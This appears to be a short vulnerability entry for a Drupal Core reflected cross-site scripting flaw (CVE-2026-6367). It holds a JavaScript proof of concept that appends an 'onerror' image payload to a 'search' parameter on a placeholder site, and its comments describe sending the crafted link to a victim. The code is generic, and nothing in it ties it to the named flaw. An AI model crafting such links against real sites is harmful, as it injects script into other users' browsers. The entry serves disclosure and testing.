CVE-2026-6367 Drupal Core 跨站脚本漏洞

// Basic Proof of Concept for Reflected XSS // Usage: Open the browser console or use a tool like Burp Suite // Target URL structure might vary based on the specific vulnerable module or endpoint. var vulnerableUrl = "http://target-drupal-site.com/"; var payload = "<img src=x onerror=alert('CVE-2026-6367')>"; // Constructing the malicious request var attackUrl = vulnerableUrl + "?search=" + encodeURIComponent(payload); // Simulating the victim visit console.log("[+] Sending request to: " + attackUrl); // In a real scenario, the attacker sends this link to the victim. // If the application reflects the payload unsanitized, the alert triggers.